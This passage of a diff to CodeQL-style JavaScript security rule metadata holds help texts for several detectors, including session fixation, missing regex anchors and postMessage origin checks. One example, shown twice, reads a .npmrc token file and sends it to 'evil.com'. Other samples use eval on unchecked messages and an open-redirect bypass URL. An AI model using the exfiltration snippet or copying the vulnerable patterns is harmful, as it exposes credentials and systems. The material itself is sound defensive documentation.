path.join(os.tmpdir(), \"my-temp-file.txt\");\n\ntry {\n  const fd = fs.openSync(filePath, fs.O_CREAT | fs.O_EXCL | fs.O_RDWR, 0o600);\n\n  fs.writeFileSync(fd, \"Hello\");\n} catch (e) {\n  // file existed\n}\n\n```\n\n## References\n* Wikipedia: [Time-of-check to time-of-use](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use).\n* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification).\n* NodeJS: [The FS module](https://nodejs.org/api/fs.html).\n* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html).\n"
+            "text" : "# File data in outbound network request\nSending local file system data to a remote URL without further validation risks uncontrolled information exposure, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example is adapted from backdoor code that was identified in two popular npm packages. It reads the contents of the `.npmrc` file (which may contain secret npm tokens) and sends it to a remote server by embedding it into an HTTP request header.\n\n\n```javascript\nvar fs = require(\"fs\"),\n    https = require(\"https\");\n\nvar content = fs.readFileSync(\".npmrc\", \"utf8\");\nhttps.get({\n  hostname: \"evil.com\",\n  path: \"/upload\",\n  method: \"GET\",\n  headers: { Referer: content }\n}, () => { });\n\n```\n\n## References\n* ESLint Blog: [Postmortem for Malicious Packages Published on July 12th, 2018](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes).\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n",
+            "markdown" : "# File data in outbound network request\nSending local file system data to a remote URL without further validation risks uncontrolled information exposure, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example is adapted from backdoor code that was identified in two popular npm packages. It reads the contents of the `.npmrc` file (which may contain secret npm tokens) and sends it to a remote server by embedding it into an HTTP request header.\n\n\n```javascript\nvar fs = require(\"fs\"),\n    https = require(\"https\");\n\nvar content = fs.readFileSync(\".npmrc\", \"utf8\");\nhttps.get({\n  hostname: \"evil.com\",\n  path: \"/upload\",\n  method: \"GET\",\n  headers: { Referer: content }\n}, () => { });\n\n```\n\n## References\n* ESLint Blog: [Postmortem for Malicious Packages Published on July 12th, 2018](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes).\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-367" ],
-            "description" : "Separately checking the state of a file before operating\n              on it may allow an attacker to modify the file between\n              the two operations.",
-            "id" : "js/file-system-race",
-            "kind" : "problem",
-            "name" : "Potential file system race condition",
+            "tags" : [ "security", "external/cwe/cwe-200" ],
+            "description" : "Directly sending file data in an outbound network request can indicate unauthorized information disclosure.",
+            "id" : "js/file-access-to-http",
+            "kind" : "path-problem",
+            "name" : "File data in outbound network request",
             "precision" : "medium",
             "problem.severity" : "warning",
-            "security-severity" : "7.7"
+            "security-severity" : "6.5"
           }
         }, {
-          "id" : "js/samesite-none-cookie",
-          "name" : "js/samesite-none-cookie",
+          "id" : "js/missing-origin-check",
+          "name" : "js/missing-origin-check",
           "shortDescription" : {
-            "text" : "Sensitive cookie without SameSite restrictions"
+            "text" : "Missing origin verification in `postMessage` handler"
           },
           "fullDescription" : {
-            "text" : "Sensitive cookies where the SameSite attribute is set to \"None\" can in some cases allow for Cross-Site Request Forgery (CSRF) attacks."
+            "text" : "Missing origin verification in a `postMessage` handler allows any windows to send arbitrary data to the handler."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Sensitive cookie without SameSite restrictions\nAuthentication cookies where the SameSite attribute is set to \"None\" can potentially be used to perform Cross-Site Request Forgery (CSRF) attacks if no other CSRF protections are in place.\n\nWith SameSite set to \"None\", a third party website may create an authorized cross-site request that includes the cookie. Such a cross-site request can allow that website to perform actions on behalf of a user.\n\n\n## Recommendation\nSet the `SameSite` attribute to `Strict` on all sensitive cookies.\n\n\n## Example\nThe following example stores an authentication token in a cookie where the `SameSite` attribute is set to `None`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=None`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo prevent the cookie from being included in cross-site requests, set the `SameSite` attribute to `Strict`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=Strict`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* MDN Web Docs: [SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite).\n* OWASP: [SameSite](https://owasp.org/www-community/SameSite).\n* Common Weakness Enumeration: [CWE-1275](https://cwe.mitre.org/data/definitions/1275.html).\n",
-            "markdown" : "# Sensitive cookie without SameSite restrictions\nAuthentication cookies where the SameSite attribute is set to \"None\" can potentially be used to perform Cross-Site Request Forgery (CSRF) attacks if no other CSRF protections are in place.\n\nWith SameSite set to \"None\", a third party website may create an authorized cross-site request that includes the cookie. Such a cross-site request can allow that website to perform actions on behalf of a user.\n\n\n## Recommendation\nSet the `SameSite` attribute to `Strict` on all sensitive cookies.\n\n\n## Example\nThe following example stores an authentication token in a cookie where the `SameSite` attribute is set to `None`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=None`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo prevent the cookie from being included in cross-site requests, set the `SameSite` attribute to `Strict`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=Strict`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* MDN Web Docs: [SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite).\n* OWASP: [SameSite](https://owasp.org/www-community/SameSite).\n* Common Weakness Enumeration: [CWE-1275](https://cwe.mitre.org/data/definitions/1275.html).\n"
+            "text" : "# Missing origin verification in `postMessage` handler\nThe `\"message\"` event is used to send messages between windows. An untrusted window can send a message to a trusted window, and it is up to the receiver to verify the legitimacy of the message. One way of performing that verification is to check the `origin` of the message ensure that it originates from a trusted window.\n\n\n## Recommendation\nAlways verify the origin of incoming messages.\n\n\n## Example\nThe example below uses a received message to execute some code. However, the origin of the message is not checked, so it might be possible for an attacker to execute arbitrary code.\n\n\n```javascript\nfunction postMessageHandler(event) {\n    let origin = event.origin.toLowerCase();\n\n    console.log(origin)\n    // BAD: the origin property is not checked\n    eval(event.data);\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n\n```\nThe example is fixed below, where the origin is checked to be trusted. It is therefore not possible for a malicious user to perform an attack using an untrusted origin.\n\n\n```javascript\nfunction postMessageHandler(event) {\n    console.log(event.origin)\n    // GOOD: the origin property is checked\n    if (event.origin === 'https://www.example.com') {\n        // do something\n    }\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n```\n\n## References\n* [Window.postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* [Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation).\n* [The pitfalls of postMessage](https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-940](https://cwe.mitre.org/data/definitions/940.html).\n",
+            "markdown" : "# Missing origin verification in `postMessage` handler\nThe `\"message\"` event is used to send messages between windows. An untrusted window can send a message to a trusted window, and it is up to the receiver to verify the legitimacy of the message. One way of performing that verification is to check the `origin` of the message ensure that it originates from a trusted window.\n\n\n## Recommendation\nAlways verify the origin of incoming messages.\n\n\n## Example\nThe example below uses a received message to execute some code. However, the origin of the message is not checked, so it might be possible for an attacker to execute arbitrary code.\n\n\n```javascript\nfunction postMessageHandler(event) {\n    let origin = event.origin.toLowerCase();\n\n    console.log(origin)\n    // BAD: the origin property is not checked\n    eval(event.data);\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n\n```\nThe example is fixed below, where the origin is checked to be trusted. It is therefore not possible for a malicious user to perform an attack using an untrusted origin.\n\n\n```javascript\nfunction postMessageHandler(event) {\n    console.log(event.origin)\n    // GOOD: the origin property is checked\n    if (event.origin === 'https://www.example.com') {\n        // do something\n    }\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n```\n\n## References\n* [Window.postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* [Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation).\n* [The pitfalls of postMessage](https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-940](https://cwe.mitre.org/data/definitions/940.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-1275" ],
-            "description" : "Sensitive cookies where the SameSite attribute is set to \"None\" can\n              in some cases allow for Cross-Site Request Forgery (CSRF) attacks.",
-            "id" : "js/samesite-none-cookie",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-940" ],
+            "description" : "Missing origin verification in a `postMessage` handler allows any windows to send arbitrary data to the handler.",
+            "id" : "js/missing-origin-check",
             "kind" : "problem",
-            "name" : "Sensitive cookie without SameSite restrictions",
+            "name" : "Missing origin verification in `postMessage` handler",
             "precision" : "medium",
             "problem.severity" : "warning",
-            "security-severity" : "5.0"
+            "security-severity" : "5"
           }
         }, {
-          "id" : "js/user-controlled-bypass",
-          "name" : "js/user-controlled-bypass",
+          "id" : "js/regex/missing-regexp-anchor",
+          "name" : "js/regex/missing-regexp-anchor",
           "shortDescription" : {
-            "text" : "User-controlled bypass of security check"
+            "text" : "Missing regular expression anchor"
           },
           "fullDescription" : {
-            "text" : "Conditions that the user controls are not suited for making security-related decisions."
+            "text" : "Regular expressions without anchors can be vulnerable to bypassing."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# User-controlled bypass of security check\nUsing user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data.\n\n\n## Recommendation\nWhen checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values.\n\nSimilarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for.\n\n\n## Example\nIn this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n    if (req.cookies.loggedInUserId !== req.params.userId) {\n        // BAD: login decision made based on user controlled data\n        requireLogin();\n    } else {\n        // ... show private information\n    }\n\n});\n\n```\nThis security check is, however, insufficient since an attacker can craft their cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n    if (req.signedCookies.loggedInUserId !== req.params.userId) {\n        // GOOD: login decision made based on server controlled data\n        requireLogin();\n    } else {\n        // ... show private information\n    }\n\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html).\n* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html).\n",
-            "markdown" : "# User-controlled bypass of security check\nUsing user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data.\n\n\n## Recommendation\nWhen checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values.\n\nSimilarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for.\n\n\n## Example\nIn this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n    if (req.cookies.loggedInUserId !== req.params.userId) {\n        // BAD: login decision made based on user controlled data\n        requireLogin();\n    } else {\n        // ... show private information\n    }\n\n});\n\n```\nThis security check is, however, insufficient since an attacker can craft their cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n    if (req.signedCookies.loggedInUserId !== req.params.userId) {\n        // GOOD: login decision made based on server controlled data\n        requireLogin();\n    } else {\n        // ... show private information\n    }\n\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html).\n* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html).\n"
+            "text" : "# Missing regular expression anchor\nSanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location.\n\nEven if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches.\n\n\n## Recommendation\nUse anchors to ensure that regular expressions match at the expected locations.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n    let url = req.param(\"url\");\n    // BAD: the host of `url` may be controlled by an attacker\n    if (url.match(/https?:\\/\\/www\\.example\\.com\\//)) {\n        res.redirect(url);\n    }\n});\n\n```\nThe check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead:\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n    let url = req.param(\"url\");\n    // GOOD: the host of `url` can not be controlled by an attacker\n    if (url.match(/^https?:\\/\\/www\\.example\\.com\\//)) {\n        res.redirect(url);\n    }\n});\n\n```\nA related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\\.example\\.com|beta\\.example\\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\\.example\\.com)|(beta\\.example\\.com)/`\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
+            "markdown" : "# Missing regular expression anchor\nSanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location.\n\nEven if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches.\n\n\n## Recommendation\nUse anchors to ensure that regular expressions match at the expected locations.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n    let url = req.param(\"url\");\n    // BAD: the host of `url` may be controlled by an attacker\n    if (url.match(/https?:\\/\\/www\\.example\\.com\\//)) {\n        res.redirect(url);\n    }\n});\n\n```\nThe check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead:\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n    let url = req.param(\"url\");\n    // GOOD: the host of `url` can not be controlled by an attacker\n    if (url.match(/^https?:\\/\\/www\\.example\\.com\\//)) {\n        res.redirect(url);\n    }\n});\n\n```\nA related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\\.example\\.com|beta\\.example\\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\\.example\\.com)|(beta\\.example\\.com)/`\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-807", "external/cwe/cwe-290" ],
-            "description" : "Conditions that the user controls are not suited for making security-related decisions.",
-            "id" : "js/user-controlled-bypass",
-            "kind" : "path-problem",
-            "name" : "User-controlled bypass of security check",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-020" ],
+            "description" : "Regular expressions without anchors can be vulnerable to bypassing.",
+            "id" : "js/regex/missing-regexp-anchor",
+            "kind" : "problem",
+            "name" : "Missing regular expression anchor",
             "precision" : "medium",
-            "problem.severity" : "error",
+            "problem.severity" : "warning",
             "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/indirect-command-line-injection",
-          "name" : "js/indirect-command-line-injection",
+          "id" : "js/session-fixation",
+          "name" : "js/session-fixation",
           "shortDescription" : {
-            "text" : "Indirect uncontrolled command line"
+            "text" : "Failure to abandon session"
           },
           "fullDescription" : {
-            "text" : "Forwarding command-line arguments to a child process executed within a shell may indirectly introduce command-line injection vulnerabilities."
+            "text" : "Reusing an existing session as a different user could allow an attacker to access someone else's account by using their session."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Indirect uncontrolled command line\nForwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters.\n\nWhen the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that each forwarded command-line argument is properly escaped before using it.\n\n\n## Example\nThe following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `\"dollar$separated$name\"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execSync(`node ${script} ${args.join(' ')}`); // BAD\n\n```\nIf another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script.\n\nTo guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', [script].concat(args)); // GOOD\n\n```\nIf you want to allow the user to specify other options to `node`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    shellQuote = require(\"shell-quote\");\n\nconst args = process.argv.slice(2);\nlet nodeOpts = '';\nif (args[0] === '--node-opts') {\n    nodeOpts = args[1];\n    args.splice(0, 2);\n}\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', shellQuote.parse(nodeOpts).concat(script).concat(args)); // GOOD\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n",
-            "markdown" : "# Indirect uncontrolled command line\nForwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters.\n\nWhen the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that each forwarded command-line argument is properly escaped before using it.\n\n\n## Example\nThe following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `\"dollar$separated$name\"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execSync(`node ${script} ${args.join(' ')}`); // BAD\n\n```\nIf another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script.\n\nTo guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', [script].concat(args)); // GOOD\n\n```\nIf you want to allow the user to specify other options to `node`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    shellQuote = require(\"shell-quote\");\n\nconst args = process.argv.slice(2);\nlet nodeOpts = '';\nif (args[0] === '--node-opts') {\n    nodeOpts = args[1];\n    args.splice(0, 2);\n}\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', shellQuote.parse(nodeOpts).concat(script).concat(args)); // GOOD\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"
+            "text" : "# Failure to abandon session\nReusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started.\n\n\n## Recommendation\nAlways use `req.session.regenerate(...);` to start a new session when a user logs in or out.\n\n\n## Example\nThe following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n    secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n    // Check that username password matches\n    if (req.body.username === 'admin' && req.body.password === 'admin') {\n        req.session.authenticated = true;\n        res.redirect('/');\n    } else {\n        res.redirect('/login');\n    }\n});\n```\nThis code example solves the problem by not reusing the session, and instead calling `req.session.regenerate()` to ensure that the session is not reused.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n    secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n    // Check that username password matches\n    if (req.body.username === 'admin' && req.body.password === 'admin') {\n        req.session.regenerate(function (err) {\n            if (err) {\n                res.send('Error');\n            } else {\n                req.session.authenticated = true;\n                res.redirect('/');\n            }\n        });\n    } else {\n        res.redirect('/login');\n    }\n});\n```\n\n## References\n* OWASP: [Session fixation](https://www.owasp.org/index.php/Session_fixation)\n* Stack Overflow: [Creating a new session after authentication with Passport](https://stackoverflow.com/questions/22209354/creating-a-new-session-after-authentication-with-passport/30468384#30468384)\n* jscrambler.com: [Best practices for secure session management in Node](https://blog.jscrambler.com/best-practices-for-secure-session-management-in-node)\n* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html).\n",
+            "markdown" : "# Failure to abandon session\nReusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started.\n\n\n## Recommendation\nAlways use `req.session.regenerate(...);` to start a new session when a user logs in or out.\n\n\n## Example\nThe following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n    secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n    // Check that username password matches\n    if (req.body.username === 'admin' && req.body.password === 'admin') {\n        req.session.authenticated = true;\n        res.redirect('/');\n    } else {\n        res.redirect('/login');\n    }\n});\n```\nThis code example solves the problem by not reusing the session, and instead calling `req.session.regenerate()` to ensure that the session is not reused.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n    secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n    // Check that username password matches\n    if (req.body.username === 'admin' && req.body.password === 'admin') {\n        req.session.regenerate(function (err) {\n            if (err) {\n                res.send('Error');\n            } else {\n                req.session.authenticated = true;\n                res.redirect('/');\n            }\n        });\n    } else {\n        res.redirect('/login');\n    }\n});\n```\n\n## References\n* OWASP: [Session fixation](https://www.owasp.org/index.php/Session_fixation)\n* Stack Overflow: [Creating a new session after authentication with Passport](https://stackoverflow.com/questions/22209354/creating-a-new-session-after-authentication-with-passport/30468384#30468384)\n* jscrambler.com: [Best practices for secure session management in Node](https://blog.jscrambler.com/best-practices-for-secure-session-management-in-node)\n* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ],
-            "description" : "Forwarding command-line arguments to a child process\n              executed within a shell may indirectly introduce\n              command-line injection vulnerabilities.",
-            "id" : "js/indirect-command-line-injection",
-            "kind" : "path-problem",
-            "name" : "Indirect uncontrolled command line",
+            "tags" : [ "security", "external/cwe/cwe-384" ],
+            "description" : "Reusing an existing session as a different user could allow\n              an attacker to access someone else's account by using\n              their session.",
+            "id" : "js/session-fixation",
+            "kind" : "problem",
+            "name" : "Failure to abandon session",
             "precision" : "medium",
             "problem.severity" : "warning",
-            "security-severity" : "6.3"
+            "security-severity" : "5"
           }
         }, {
-          "id" : "js/summary/lines-of-user-code",
-          "name" : "js/summary/lines-of-user-code",
+          "id" : "js/client-side-request-forgery",
+          "name" : "js/client-side-request-forgery",
           "shortDescription" : {
-            "text" : "Total lines of user written JavaScript and TypeScript code in the database"
+            "text" : "Client-side request forgery"
           },
           "fullDescription" : {
-            "text" : "The total number of lines of JavaScript and TypeScript code from the source code directory, excluding auto-generated files and files in `node_modules`. This query counts the lines of code, excluding whitespace or comments."
+            "text" : "Making a client-to-server request with user-controlled data in the URL allows a request forgery attack against the client."
           },
           "defaultConfiguration" : {
-            "enabled" : true
+            "enabled" : true,
+            "level" : "error"
+          },
+          "help" : {
